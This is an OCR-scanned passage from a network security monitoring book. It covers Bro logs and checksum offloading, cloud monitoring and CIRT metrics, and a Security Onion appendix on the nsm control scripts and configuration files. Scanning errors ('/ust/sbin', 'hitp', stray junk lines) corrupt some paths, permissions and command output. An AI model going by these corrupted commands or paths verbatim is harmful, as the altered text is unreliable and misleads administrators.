ing checksums. Listing 13-16 shows the results of the hitp.log file when Bro 
reads the bej-ext.pcap trace file with checksum processing disabled. 





$ cat http.log 


#separator \x09 
#set_separator , 

Hempty field (empty) 
#unset_field - 

#path http 

Hopen | 2013-04-24-00-36-03 


#fields ts uid id.orig h id.orig p id.resp h id.resp p trans - 
depth method host uri referrer user agent request body len 

response body len status code status msg info code info msg filename 
tags username password proxied mime type md5 extraction file 


#types time string addr port addr port count string string string string 
string count count count string count string string table[enum] string string 
table[string] string string file 


1366577618. 269074 ua3JI6YJIxh 192.168.1.2 2710 205.186.148.46 80 

1 GET www.bejtlich.net /® http://www. taosecurity.com/training. html 
Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:20.0) Gecko/20100101 Firefox/20.0 0 3195 
200 oke - - - (empty) - - OVIA -> 1.1 localhost:3128 


(squid/2.7.STABLE9),X-FORWARDED-FOR -» 192.168.2.108@ text/html - - 


#close 2013-04-24-00-36-04 





Listing 13-16: Bro http.log file for bej-ext.pcap with checksum validation disabled 


In Listing 13-16, the interesting fields are the GET request for / @, the 
200 OK reply @ from the server, the Via statement 6 revealing the presence 
of the Squid proxy, and the X-Forwarded-For field @ showing the true source 
IP address of the web client. With access only to logs of this nature, you 
could use the X-Forwarded-For field to identify the true source IP address 
of a client if you saw activity only at location Y and needed to know which 
browser was surfing to the web server in question. 
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The moral of the checksum story is this: If you must collect traffic from 
a system that transmits traffic with checksum offloading, be sure your tools 
know how to handle the situation. Remember that you can tell Bro to ignore 
bad checksums with the -C switch. See the SO mailing list and wiki or the 
manual pages for details on equivalent features in other tools. Snort, for 
example, offers the following options to handle checksum processing: 


-k «mode» Checksum mode (all,noip,notcp,noudp,noicmp,none) 





Now that you know how to handle the checksum offloading character- 
istics of collecting traffic on this pfSense box running a Squid proxy, you 
can use the data collected here for troubleshooting. Without taking into 
account the checksum issue, you may have interpreted the traffic incor- 
rectly and arrived at odd conclusions about network performance. 


Conclusion 
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This chapter introduced two features of networks that might trouble ana- 
lysts: proxies and checksums. Proxies are problematic because they intro- 
duce another middlebox, adding complexity to the network. 

Like NAT, proxies obscure true source and destination IP addresses. 
Although this chapter showed only one proxy at work, some organizations 
chain multiple proxies! Such a multiproxy scenario makes the supposed 
Holy Grail of NSM and proxies— proxy logs—unattainable. When multiple 
proxies are involved, no single log shows all the activity analysts need to see. 
If proxy logs were available, however, they would make a useful addition to 
the data collected by an application like ELSA. 

We also discussed checksums and odd results caused by offloading. 
This feature, designed to speed up networking, reveals a downside: zeroed 
checksums when reported by a traffic capture tool. Although it's easier to 
engineer around this challenge, don't be surprised if an eager analyst pro- 
vides a trace file with one or both sides of a conversation containing 0x0000 
for the IP checksums. With the help of this chapter, you should understand 
why that occurs and how to handle the issue. 


CONCLUSION 


I wrote this book to help readers start a net- 
work security monitoring operation within 





their organization. I used the open source 
SO suite to show how to put NSM to work in a 

rapid and cost-effective manner. This final section 

of the book shows several other options for NSM and 


related operations. My goal is to show how NSM applies to other areas of 
digital defense and how I think NSM will adapt to increasingly complex 
information processing requirements. 

First, I discuss how cloud computing affects NSM. The cloud presents 
challenges and opportunities, and awareness of both will help security man- 
agers better defend their data. Second, I talk about the importance of work- 
flow and why an operational, metrics-driven model is a key to CIRT success. 
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Conclusion 


The National Institute of Standards and Technology (NIST) defines cloud 
computing as 


a model for enabling ubiquitous, convenient, on-demand net- 
work access to a shared pool of configurable computing resources 
(e.g., networks, servers, storage, applications, and services) that 
can be rapidly provisioned and released with minimal manage- 
ment effort or service provider interaction.' 


NIST describes three service models: 


Software as a Service (SaaS) Allows the consumer to use the provider's 
applications running on a cloud infrastructure. 


Platform as a Service (PaaS) Allows the consumer to deploy consumer- 
created applications or acquired applications created using program- 
ming languages, libraries, services, and tools supported by the provider 
onto the cloud infrastructure. 


Infrastructure as a Service (IaaS) Gives the consumer access to process- 
ing, storage, networks, and other fundamental computing resources 
where the consumer is able to deploy and run arbitrary software, which 
can include operating systems and applications. 


A SaaS offering, like Salesforce.com (hitp://www.salesforce.com/), gives 
customers an application that provides certain capabilities, such as cus- 
tomer relationship management. A PaaS offering, like Heroku (Attp:// 
www.heroku.com/), gives customers a set of programming languages and 
related capabilities to build their own applications. An IaaS offering, like 
Amazon Elastic Compute Cloud (EC2, https://aws.amazon.com/ec2), gives 
customers a virtual machine and related supporting infrastructure upon 
which they can install their own software. 

From an NSM perspective, a key feature of cloud computing is the fact 
that information processing is being done "somewhere else." One excep- 
tion may be a “private” cloud, operated by an organization for internal use, 
or a “community” cloud, operated by an organization cooperating with 
partners. When a cloud is *public" or *hybrid," though, it means an orga- 
nization's data is stored, manipulated, and transmitted beyond the normal 
enterprise boundaries. While many security professionals have debated 
cloud security and related topics, this section examines visibility challenges 
posed by cloud computing. 


Cloud Computing Challenges 


With data processing occurring outside an organization, a CIRT cannot 
rely on the network instrumentation models introduced in Chapter 2. 


1. Peter Mell and Timothy Grance, “The NIST Definition of Cloud Computing,” NIST Special 
Publication 800-145, National Institute of Standards and Technology, U.S. Department of 
Commerce, September 2011, Attp://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf. 


Cloud users are not normally able to deploy taps or configure SPAN ports 
to see traffic to or from a cloud provider's infrastructure. By its very nature, 
cloud infrastructures tend to be multitenant environments catering to hun- 
dreds or thousands of customers on shared platforms. Even though you may 
want to see network traffic to and from the platforms processing your data, 
your cloud neighbors may not want you to see their traffic! 

NSM is generally not an option for SaaS offerings because customers 
interact with an application provided by a cloud company. Customers are 
limited to relying upon whatever logs the cloud provider makes available. 
NSM is also rarely possible for PaaS offerings, although customers can choose 
to build application-level logging capabilities into the software they build 
on the PaaS platform. NSM may be possible on IaaS offerings, but the visi- 
bility is generally limited to specific virtual machines. NSM on IaaS requires 
lightweight approaches where agents on the specific VM collect and analyze 
network-centric data. 

Threat Stack (hitp://www.threatstack.com/) is an example of a commercial 
offering to meet the need for NSM on IaaS cloud platforms. Dustin Webber, 
author of the Snorby tool, founded Threat Stackwith Jen Andre to extend 
Snorby beyond the enterprise. Threat Stack provides a lightweight agent that 
collects and generates NSM information on individual endpoints, whether 
in the enterprise or on JaaS cloud platforms. The Threat Stack agent reports 
its findings to a cloud-based controller operated by the Threat Stack team. 
When analysts want to investigate NSM data from the agents, they log into 
a cloud application published by Threat Stack. Figure 1 depicts the Threat 
Stack dashboard, showing data from an agent deployed on a virtual private 
server. 
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Figure 1: Threat Stack dashboard 
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Conclusion 


Threat Stack demonstrates how a cloud-based challenge, like monitor- 
ing IaaS platforms, can be met by using the cloud to collect and present 
NSM data from agents. This hints at some of the benefits cloud computing 
brings to NSM operators. 


Cloud Computing Benefits 


Cloud environments give analysts powerful and expandable environments 
to process and mine NSM data. By putting NSM data in the cloud, storage 
and analytical power become less of an issue. Analysts must be comfort- 
able with the security controls applied by the cloud provider before putting 
sensitive information in the hands of another company. If the provider can 
meet those concerns, the cloud offers exciting possibilities. 

Packetloop (hitp://www.packetloop.com/) is an example of another com- 
mercial offering built on the cloud, but with a different focus. Michael Baker 
and his team in Australia built Packetloop as a cloud-based application to 
analyze network traffic uploaded by users. Analysts can send network traffic 
in bulk to Packetloop, which then processes and displays that traffic in various 
ways. Figure 2 shows a Packetloop dashboard for the network traffic asso- 
ciated with a Digital Corpora sample case (http://digitalcorpora.org/corpora/ 
scenarios/m57-patents-scenario/). 
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Figure 2: Packetloop dashboard for sample network traffic 


Threat Stack and Packetloop are options for enterprise users comfort- 
able with sending local data to cloud providers. Perhaps more importantly, 
these two offerings are suitable for customers who already do computing 
in the cloud. In other words, customers doing work in the cloud are likely 


to be comfortable sending logs or network traffic or both to another cloud 
offering, such as a security vendor. As more computing work shifts from the 
enterprise to the cloud, I expect this sort of *cloud-to-cloud" relationship to 
become more important for security and monitoring needs. 


Workflow, Metrics, and Collaboration 


NSM isn't just about tools. NSM is an operation, and that concept implies 
workflow, metrics, and collaboration. A workflow establishes a series of steps 
that an analyst follows to perform the detection and response mission. 
Metrics, like the classification and count of incidents and the time elapsed 
from incident detection to containment, measure the effectiveness of the 
workflow. Collaboration enables analysts to work smarter and faster. 


Workflow and Metrics 


The next generation of NSM tools will incorporate these key features. 
Mandiant provides these capabilities in several of its commercial offerings. 
The goal is to help customers more rapidly scope an intrusion, manage 
the escalation and resolution process, and highlight areas of improvement. 
Figure 3 shows a graph of two key incident response measurements. 
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Figure 3: Tracking open incidents versus the average time to close an incident 


In Figure 3, we see a series of dots connected into a line, showing the 
average time, in hours, required to close an incident. In this case, "closing" 
means conducting short-term incident containment (STIC) to mitigate the 
risk posed by an intruder who has compromised a computer. The bars show 
the number of open incidents on a daily basis. The spike in open incidents 
on April 23 caused the average closure time to spike as well. This indicates 
that the CIRT was overwhelmed by the number of incidents it had to man- 
age. If the organization's goal for average closure time is 10 hours or less, 
this spike demonstrates that the CIRT cannot meet such a goal when the 
number of open incidents exceeds 10 daily cases. CIRT managers can use 
these metrics to justify additional headcount or to adjust processes or tools 
to keep the CIRT on track. 
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Collaboration 


CIRTs that can manage many simultaneous intrusions often benefit from 
powerful collaboration tools. Many analysts are familiar with wikis, chat 
channels and clients, and other tools for exchanging incident data. A new 
sort of collaboration tool combines processing NSM data with shared ana- 
lytical capabilities. Just as online word processing applications like Google 
Docs allow multiple users to collaborate simultaneously, some tools are 
emerging to provide similar features to NSM operators. 

CloudShark (hitp://www.cloudshark.org/) is an example of a collabora- 
tive packet analysis tool. The team at QA Cafe (hitp://www.qacafe.com/) 
built CloudShark as a platform that customers could deploy on-premise 
and share among multiple team members. (Despite its name, CloudShark 
doesn't reside in the cloud; customers buy the software and deploy it within 
their enterprise.") Analysts upload packet captures to the local appliance 
and then manipulate packet captures via a web browser. Figure 4 shows 
an example of CloudShark rendering DNS and Online Certificate Status 
Protocol (OCSP) traffic. 
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Frame 2: 124 bytes on wire (992 bits), 124 bytes captured (992 bits) 
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b ocsp.verisign.net: type A, class IN, addr 199.7.52.72 
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Figure 4: CloudShark displaying DNS and OCSP traffic 


CloudShark appears very similar to Wireshark, so analysts will feel at 
home in the interface. A CIRT could maintain a local CloudShark appli- 
ance as a repository of key network traces derived from various intrusions. 


2. The example in this section appears courtesy of CloudShark and Jeremy Stretch, who pub- 
lish sample traces online at http://packetlife.net/captures/protocol/dns/ and http://www.cloudshark 
.org/captures/46b2c8403863/ to demonstrate CloudShark's capabilities. 


For example, when Sguil retrieves traffic from a sensor to build a transcript, 
the server retains a local archive of the traffic. A CIRT could upload all of 
those captures to CloudShark, making them easily available and browsable 
by analysts. These analysts could also add comments to the trace via the 
Info and Comments features and tag the trace with key names for later 
reference. Being a local appliance, CloudShark may address some of the 
concerns presented by pure cloud-based offerings as well. 


Conclusion 


This final part of the book showed examples of some of the NSM capabil- 
ities found outside the SO suite. As CIRTS realize that the power of NSM 
must be applied to cloud environments and can be augmented by cloud 
and collaborative platforms, I expect to see more offerings leveraging 
those capabilities. Threat Stack, Packetloop, Mandiant, and CloudShark 
are a few examples of companies integrating NSM-related services into 
their core offerings. With luck, these and other solution providers will 
continue to put tools and processes into the hands of CIRTs worldwide. 
Itis possible to defeat adversaries if we stop them before they accomplish 
their mission. As it has been since the early 1990s, NSM will continue to 
be a powerful, cost-effective way to counter intruders. Take heart, CIRTs; 
the future remains bright! 
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SO SCRIPTS 
AND CONFIGURATION 


by Doug Burks, creator of Security Onion 


This appendix provides a quick reference 
to the Security Onion (SO) control scripts 
and configuration files. This material will 
help SO users better administer and optimize 
their sensor deployments. 





SO Control Scripts 


The NSM control scripts are one of the core components of SO. These 
scripts were originally a part of the NSMnow package developed by the 
SecurixLive team (hitp://www.securixlive.com/nsmnow/docs/index.php), but 
they have been heavily modified for use in SO. 


The NSM scripts were first developed to control a Sguil server (sguild), 
its agents (snort agent, pads agent, sancp agent, and pcap agent), and its sensor 
components (snort, pads, sancp, and daemonlogger). The following are some of 
the changes we've made to SO: 


e Added the ability to use Suricata instead of Snort 

e Added the ability to spin up multiple instances of Snort via PF RING (and 
an equal number of instances of barnyard2 and snort agent) 

e Added control of Argus 

e Added control of Bro 

e Added control of Sguil’s OSSEC agent 

e Added control of Sguil’s HTTP agent 

e Replaced pads and sancp with prads 

e Replaced daemonlogger with netsniff-ng 


The NSM scripts are installed at /usr/sbin/nsm* and require root privi- 
leges, so they should be run using sudo. The directory /usr/sbin/ should be 
in your PATH variable, so you shouldn’t need to include the full path when 
executing the commands. The full path is included in the examples here 
for completeness. 

We won't cover every option for every script, but you can explore each 
of these scripts using --help to learn more about them. For example, to see 
more information about /usr/sbin/nsm, enter this command: 





$ sudo /usr/sbin/nsm --help 

The NSMnow Administration scripts are designed to easily configure and manage 
your NSM installation. Bugs, comments and flames can be directed to the 

SXL team at dev@securixlive.com 


The NSMnow Administration scripts come with ABSOLUTELY NO WARRANTY. 


Usage: /usr/sbin/nsm [options] 


Options: 
-U Check and apply any available upgrades 
-V Show version information 
-? Show usage information 


Long Options: 


--sensor See nsm_sensor 

--server See nsm_server 

--all Performs actions on both sensor and server 
--upgrade Same as -U 

--version Same as -V 

--help Same as -? 
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/ust/sbin/nsm 


The high-level /usr/sbin/nsm script can pass options to some of the under- 
lying scripts such as nsm server and nsm sensor. To check the status of all 
server and sensor processes, enter the following: 





$ sudo /usr/sbin/nsm --all --status 


Status: securityonion 


* sguil server [ OK ] 
Status: HIDS 
* ossec agent (sguil) [ OK ] 
Status: Bro 
Name Type Host Status Pid Peers Started 
bro standalone localhost running 13015 0 18 Feb 16:35:40 
Status: securityonion-eth1 
* netsniff-ng (full packet data) [ OK ] 
* pcap agent (sguil) [ OK ] 
* snort agent-1 (sguil) [ OK ] 
* snort-1 (alert data) [ OK ] 
* barnyard2-1 (spooler, unified2 format) [ OK ] 
* prads (sessions/assets) [ OK ] 
* sancp agent (sguil) [ OK ] 
* pads agent (sguil) [ OK ] 
* argus [ OK ] 
* http agent (sguil) [ OK ] 


/etc/init.d/nsm is a wrapper for "/usr/sbin/nsm -all", so you can also do: 
sudo service nsm status 





In addition to status, you can use other process control keywords, such 
as start, stop, and restart. 


/ust/sbin/nsm all del 


The high-level /usr/sbin/nsm all del script will prompt for user confirmation, 
and then call nsm all del quick to delete all NSM data and configuration. 





$ sudo /usr/sbin/nsm all del 

WARNING! 

Continuing will permanently delete all NSM configuration and data! 
Press Ctrl-C to cancel. 

OR 


Press Enter to continue. 


Stopping: securityonion 


* stopping: sguil server [ OK ] 
Stopping: HIDS 
* stopping: ossec agent (sguil) [ OK ] 


Stopping: Bro 
stopping bro ... 
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Stopping: securityonion-eth1 
* 


stopping: netsniff-ng (full packet data) [ OK ] 
* stopping: pcap agent (sguil) [ OK ] 
* stopping: snort agent-1 (sguil) [ OK ] 
* stopping: snort-1 (alert data) [ OK ] 
* stopping: barnyard2-1 (spooler, unified2 format) [ OK ] 
* stopping: prads (sessions/assets) [ OK ] 
* stopping: sancp_agent (sguil) [ OK ] 
* stopping: pads agent (sguil) [ OK ] 
* stopping: argus [ Ok ] 
* stopping: http_agent (sguil) [ OK ] 





Delete Sensor 
All configurations and collected data for sensor "securityonion-ethi" will be 
deleted. 


Deleting sensor: securityonion-eth1 


* removing configuration files [ OK ] 
* removing collected data files [ OK ] 
* updating the sensor table [ OK ] 


Delete Server 
All configurations and collected data for server "securityonion" will be 
deleted. 


Deleting server:ontinue? (Y/N) [N]: 


* removing configuration files [ OK ] 
* removing collected data files [ OK ] 
* removing database [ OK ] 
* updating the server table [ OK ] 





/usr/sbin/nsm all del quick 


The high-level /usr/sbin/nsm all del quick script will call nsm sensor deland 
nsm server del to delete all NSM data and configuration, but will not prompt 
for user confirmation. Be careful with this one! 





$ sudo nsm all del quick 


Stopping: securityonion 


* stopping: sguil server [ OK ] 
Stopping: HIDS 
* stopping: ossec agent (sguil) [ OK ] 


Stopping: Bro 
stopping bro ... 
Stopping: securityonion-eth1 


* stopping: netsniff-ng (full packet data) [ OK ] 
* stopping: pcap agent (sguil) [ OK ] 
* stopping: snort agent-1 (sguil) [ OK ] 
* stopping: snort-1 (alert data) [ OK ] 


stopping: prads (sessions/assets) 
stopping: sancp agent (sguil) 
stopping: pads agent (sguil) 
Stopping: argus 

stopping: http agent (sguil) 


3] Gb Ge Gb FE 


Delete Sensor 


stopping: barnyard2-1 (spooler, unified2 format) 


OK 
OK 
OK 
OK 
OK 
OK 


(ee —— c ——-— 
Lá cca ua uuu 


All configurations and collected data for sensor "securityonion-ethi" will be 


deleted. 


Deleting sensor: securityonion-eth1 
* removing configuration files 
* removing collected data files 
* updating the sensor table 


Delete Server 


[ OK ] 
[ OK ] 
[ OK ] 


All configurations and collected data for server "securityonion" will be 


deleted. 


Deleting server:ontinue? (Y/N) [N]: 
* removing configuration files 
* removing collected data files 
* removing database 
* updating the server table 


OK 
OK 
OK 
OK 


aa 
e e ee ie 





/ust/sbin/nsm sensor 


The high-level /usr/sbin/nsm sensor script can pass options to some of the 


underlying nsm sensor * scripts. 





$ sudo /usr/sbin/nsm sensor --status 


Status: HIDS 
* ossec agent (sguil) 


Status: Bro 
Name Type Host Status 
bro standalone localhost running 


Status: securityonion-eth1 
* netsniff-ng (full packet data) 
pcap agent (sguil) 
snort agent-1 (sguil) 
snort-1 (alert data) 
barnyard2-1 (spooler, unified2 format) 
prads (sessions/assets) 
sancp agent (sguil) 
pads agent (sguil) 
argus 
http agent (sguil) 


a ww X4 X 2 4o SE 


Pid Peers Started 
13015 0 18 Feb 16:35:40 


OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
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/usr/sbin/nsm sensor add 


The /usr/sbin/nsm sensor add script is called by the setup wizard to add a new 
sensor. You shouldn't need to run this script manually. 


/ust/sbin/nsm sensor backup-config 


The /usr/sbin/nsm sensor backup-config script will back up sensor configura- 
tion files to a user-specified tarball. 


/usr/sbin/nsm sensor backup-data 


The /usr/sbin/nsm sensor backup-data script will back up sensor datafiles to a 
user-specified tarball. Keep in mind that datafiles consist of full packet cap- 
ture and could be many gigabytes or terabytes. 


/usr/sbin/nsm sensor clean 


The /usr/sbin/nsm sensor clean script is called by an hourly cronjob. If disk 
usage is at 90 percent or higher, the oldest day's worth of NSM data (pcaps, 
Bro logs, and so on) will be deleted until disk usage is below 90 percent. The 
process is repeated until disk usage falls below 90 percent. 


/usr/sbin/nsm sensor clear 


The /usr/sbin/nsm sensor clear script clears all data from a sensor. 





$ sudo /usr/sbin/nsm sensor clear --sensor-name=securityonion-eth1 


Clear Sensor 
All collected data for sensor "securityonion-eth1" will be cleared. 


Do you want to continue? (Y/N) [N]: y 
Clearing sensor: securityonion-eth1 


* removing bookmarks [ OK ] 
* removing collected data files [ OK ] 
* removing collected log directories [ OK ] 





/usr/sbin/nsm sensor del 


The /usr/sbin/nsm sensor del script removes all data and configuration for a 
user-specified sensor, permanently disabling it. 





$ sudo /usr/sbin/nsm sensor del --sensor-name=securityonion-eth1 

Delete Sensor 

All configurations and collected data for sensor "securityonion-ethi" will be 
deleted. 


Do you want to continue? (Y/N) [N]: y 


Deleting sensor: securityonion-eth1 
* removing configuration files 
* removing collected data files 
* updating the sensor table 





/ust/sbin/nsm_sensor_edit 


The /usr/sbin/nsm sensor edit script allows you to edit certain details of a 


sensor's configuration. 


/ust/sbin/nsm sensor ps-daily-restart 


The /usr/sbin/nsm sensor ps-daily-restart script is called by a daily cronjob at 
midnight to restart any services that may be dealing with date-based output 


and need to roll to a new date stamp. 


/ust/sbin/nsm sensor ps-restart 


The /usr/sbin/nsm sensor ps-restart script is used to restart sensor processes. 





$ sudo /usr/sbin/nsm sensor ps-restart 


Restarting: HIDS 





* stopping: ossec agent (sguil) [ OK ] 
* starting: ossec agent (sguil) [ OK ] 
Restarting: Bro 
stopping bro ... 
starting bro ... 
Restarting: securityonion-eth1 
* restarting with overlap: netsniff-ng (full packet data) 
* starting: netsniff-ng (full packet data) [ OK ] 
- stopping old process: netsniff-ng (full packet data) [ OK ] 
* stopping: pcap_agent (sguil) [ OK ] 
* starting: pcap_agent (sguil) [ OK ] 
* stopping: snort_agent-1 (sguil) [ OK ] 
* starting: snort agent-1 (sguil) [ OK ] 
* stopping: snort-1 (alert data) [ OK ] 
* starting: snort-1 (alert data) [ OK ] 
* stopping: barnyard2-1 (spooler, unified2 format) [ OK ] 
* starting: barnyard2-1 (spooler, unified2 format) [ OK ] 
* stopping: prads (sessions/assets) [ OK ] 
* starting: prads (sessions/assets) [ OK ] 
* stopping: pads_agent (sguil) [ OK ] 
* starting: pads_agent (sguil) [ OK ] 
* stopping: sancp_agent (sguil) [ OK ] 
* starting: sancp_agent (sguil) [ OK ] 
* stopping: argus [ OK ] 
* starting: argus [ OK ] 
* stopping: http_agent (sguil) [ OK ] 
* starting: http_agent (sguil) [ OK ] 
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Note that this and the remaining nsm sensor ps-* scripts allow you to be 
very granular in what sensors or processes you control. For example, notice 
the --only-, --skip-, and --sensor-name- options in the following --help listing: 


$ sudo /usr/sbin/nsm sensor ps-restart --help 
The NSMnow Administration scripts come with ABSOLUTELY NO WARRANTY. 


Usage: /usr/sbin/nsm sensor ps-restart [options] 


Options: 
-d Use dialog mode 
-y Force yes 
-V Show version information 
-? Show usage information 


Long Options: 


--sensor-name=<name> Define specific sensor <name> to process 
--only-barnyard2 Only process barnyard2 
--only-snort-alert Only process snort alert 
--only-pcap Only process packet logger 
--only-argus Only process argus 

--only-prads Only process prads 

--only-bro Only process bro 
--only-pcap-agent Only process pcap_agent 
--only-sancp-agent Only process sancp_agent 
--only-snort-agent Only process snort_agent 
--only-http-agent Only process http_agent 
--only-pads-agent Only process pads_agent 
--only-ossec-agent Only process ossec_agent 
--skip-barnyard2 Skip processing of barnyard2 
--skip-snort-alert Skip processing of snort alert 
--skip-pcap Skip processing of packet logger 
--skip-argus Skip processing of argus 
--skip-prads Skip processing of prads 
--skip-bro Skip processing of bro 
--skip-pcap-agent Skip processing of pcap_agent 
--skip-sancp-agent Skip processing of sancp agent 
--skip-snort-agent Skip processing of snort agent 
--skip-http-agent Skip processing of http agent 
--skip-pads-agent Skip processing of pads agent 
--skip-ossec-agent Skip processing of ossec agent 
--if-stale Only restart processes that have crashed 
--dialog Same as -d 

--force-yes Same as -y 

--version Same as -V 

--help Same as -? 
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For example, suppose you've just made changes to snort.conf, and you 
want to restart Snort to make those changes take effect. Instead of restart- 


ing the entire stack, you could restart just the Snort process, as follows: 





$ sudo /usr/sbin/nsm sensor ps-restart --only-snort-alert 


Restarting: securityonion-eth1 
* stopping: snort-1 (alert data) 
* starting: snort-1 (alert data) 


oe 


— e 





/ust/shin/nsm_sensor_ps-start 


The /usr/sbin/nsm_sensor_ps-start script is used to start sensor processes. 





$ sudo /usr/sbin/nsm sensor ps-start 


Starting: HIDS 
* starting: ossec agent (sguil) 
Starting: Bro 
starting bro ... 
Starting: securityonion-eth1 
* 


starting: netsniff-ng (full packet data) 


starting: pcap agent (sguil) 
starting: snort agent-1 (sguil) 
starting: snort-1 (alert data) 


starting: prads (sessions/assets) 
starting: pads agent (sguil) 
starting: sancp agent (sguil) 
starting: argus 

starting: http agent (sguil) 

disk space currently at 26% 


Z3 X X4 * 2 FF 2 34 BH 


starting: barnyard2-1 (spooler, unified2 format) 


I—À Ne ——À c c c c ccc 


OK 


OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 


LLL La ca ca La uL Lua. 





/ust/sbin/nsm sensor ps-status 


The /usr/sbin/nsm sensor ps-status script is used to check the status of sensor 


processes. 





$ sudo /usr/sbin/nsm sensor ps-status 


Status: HIDS 
* ossec agent (sguil) 


Status: Bro 
Name Type Host Status 
bro standalone localhost running 


Status: securityonion-eth1 
* netsniff-ng (full packet data) 
pcap agent (sguil) 
snort agent-1 (sguil) 
snort-1 (alert data) 
barnyard2-1 (spooler, unified2 format) 


S3 dg HE G* 


Pid Peers Started 


OK 


15426 0 18 Feb 16:40:23 


mae 
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* prads (sessions/assets) [ OK 
* sancp agent (sguil) [ OK 
* pads agent (sguil) [ OK 
* argus [ OK 
* http agent (sguil) [ OK 


Lá cc uauaua 





/usr/sbin/nsm sensor ps-stop 


The /usr/sbin/nsm sensor ps-stop script is used to stop sensor processes. 





$ sudo /usr/sbin/nsm sensor ps-stop 


Stopping: HIDS 











* stopping: ossec agent (sguil) [ OK ] 

Stopping: Bro 

stopping bro ... 

Stopping: securityonion-eth1 
* stopping: netsniff-ng (full packet data) [ OK ] 
* stopping: pcap agent (sguil) [ OK ] 
* stopping: snort agent-1 (sguil) [ OK ] 
* stopping: snort-1 (alert data) [ OK ] 
* stopping: barnyard2-1 (spooler, unified2 format) [ OK ] 
* stopping: prads (sessions/assets) [ OK ] 
* stopping: sancp agent (sguil) [ OK ] 
* stopping: pads agent (sguil) [ OK ] 
* stopping: argus [ OK ] 
* stopping: http agent (sguil) [ OK ] 

/usr/sbin/nsm server 

The high-level /usr/sbin/nsm server script can pass options to some of the 

underlying nsm server * scripts. 

$ sudo /usr/sbin/nsm server --status 

Status: securityonion 
* sguil server [ OK ] 





/usr/sbin/nsm server add 


The /usr/sbin/nsm server add script is used by the setup wizard to create a 
new Sguil server (sguild). You shouldn't need to run this script manually. 


/usr/sbin/nsm server backup-config 


The /usr/sbin/nsm server backup-config script backs up the sguild configura- 
tion files to a user-specified tarball. 


/usr/sbin/nsm server backup-data 


The /usr/sbin/nsm server backup-data script backs up the sguild data to a 
user-specified tarball. 


/ust/sbin/nsm server clear 


The /usr/sbin/nsm server clear script clears all sguild data. 


/ust/sbin/nsm server del 


The /usr/sbin/nsm server delscript permanently deletes the Sguil server 
(sguild). 
/ust/sbin/nsm server edit 


The /usr/sbin/nsm server edit script can be used to edit certain details of the 
sguild configuration. 


/ust/sbin/nsm server ps-restart 


The /usr/sbin/nsm server ps-restart script can be used to restart sguild. 





$ sudo /usr/sbin/nsm server ps-restart 


Restarting: securityonion 
* stopping: sguil server [ OK ] 
* starting: sguil server [ OK ] 





/ust/sbin/nsm server ps-start 


The /usr/sbin/nsm server ps-start script can be used to start sguild. 





$ sudo /usr/sbin/nsm server ps-start 


Starting: securityonion 
* starting: sguil server [ OK ] 





/ust/sbin/nsm server ps-status 


The /usr/sbin/nsm server ps-status script can be used to check the status of 
sguild. 





$ sudo /usr/sbin/nsm server ps-status 
Status: securityonion 


* sguil server [ OK ] 


/ust/sbin/nsm server ps-stop 


The /usr/sbin/nsm server ps-stop script can be used to stop sguild. 





$ sudo /usr/sbin/nsm server ps-stop 


Stopping: securityonion 
* stopping: sguil server [ OK ] 
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/usr/sbin/nsm server sensor-add 


The /usr/sbin/nsm server sensor-add script is used to add a sensor to the 
sguild configuration. 


/usr/sbin/nsm server sensor-del 


The /usr/sbin/nsm server sensor-del script is used to delete a sensor from the 
sguild configuration. 


/usr/sbin/nsm server user-add 


The /usr/sbin/nsm server user-add script is used to add a new sguild user. 





$ sudo /usr/sbin/nsm server user-add 


User Name 
Enter the name of the new user that will be granted privilege to connect to 
this server.: richard 


User Pass 

Enter the password for the new user that will be granted privilege to connect 
to this server.: 

Verify: 


Add User to Server 
The following information has been collected: 


server: securityonion 
user: richard 


Do you want to create? (Y/N) [Y]: y 
Adding user to server: richard -» securityonion 
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Configuration files control how SO applications operate. Administrators 
can change the contents of some of these files to tailor how SO collects and 
interprets NSM data. 

The SO team configures SO with sensible defaults, but in some cases, 
changes may be appropriate. This section describes SO's configuration files, 
including whether the SO team believes that administrators may sometimes 
need to make changes to them. 


/etc/nsm/ 


/etc/nsm/ is the main configuration directory. It contains the following: 





administration.conf 
ossec/ 

pulledpork/ 

rules/ 


securityonion/ 
securityonion.conf 
sensortab 

servertab 

templates/ 
$HOSTNAME - $SINTERFACE 





The final entry in this list will vary based on your hostname and the 
interfaces you choose to monitor. For example, the following is output from 
my sensor named securityonion with a single monitored interface (eth1): 





-IW-r--r-- 1 root root 247 Jul 24 2012 administration.conf 
drwxr-xr-x 2 root root 4.0K Feb 18 16:16 ossec 

drwxr-xr-x 2 root root 4.0K Dec 18 11:15 pulledpork 
drwxr-xr-x 3 root root 4.0K Feb 18 16:16 rules 

drwxrwxr-x 3 sguil sguil 4.0K Feb 18 16:16 securityonion 
-IW-r--r-- 1 root root 37 Feb 18 16:16 securityonion.conf 
drwxrwxr-x 2 sguil sguil 4.0K Feb 18 16:17 securityonion-eth1 
-IW-I--Y-- 1 root root 31 Feb 18 16:16 sensortab 
-IW-r--r-- 1 root root 349 Feb 18 16:16 servertab 
drwxr-xr-x 8 root root 4.0K Dec 18 11:14 templates 





Let's look at each of these files and directories in turn. 


/etc/nsm/administration.conf 


The /etc/nsm/administration.conffile defines some filesystem locations for the 
NSM scripts. You should never need to change anything in this file. 


/etc/nsm/ossec/ 


The /etc/nsm/ossec/ directory contains the OSSEC agent for Sguil (ossec 
agent.tcl) and its configuration file (ossec agent.conf). You probably won't 
need to modify these files. 


/etc/nsm/pulledpork/ 


The /etc/nsm/pulledpork/ directory contains the configuration files for 
PulledPork, which is responsible for downloading IDS rulesets from the 
Internet. The main configuration file for PulledPork is pulledpork.conf, but 
you'll probably spend most of your time modifying disablesid.conf, enablesid 
.conf, and modifysid.conf to tune your ruleset. 


/etc/nsm/rules/ 


The /etc/nsm/rules/ directory contains the IDS ruleset(s) downloaded 
by PulledPork and associated files that control the sensor processes. When 
PulledPork runs, it stores the rules in downloaded.rules. Don't modify this file 
manually because PulledPork will overwrite it automatically the next time it 
runs. Instead, tune your ruleset using the files in /etc/nsm/pulledpork/. 

You can write your own rules and store them in /ocal.rules. To tune a 
particular rule without totally disabling it, use threshold.conf. To specify a 
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Berkeley Packet Filter (BPF) so that the sniffing processes will selectively 
ignore traffic from certain IP addresses, use bpf.conf. Bro automatically 
monitors this file for changes and will update it as needed. Other services 
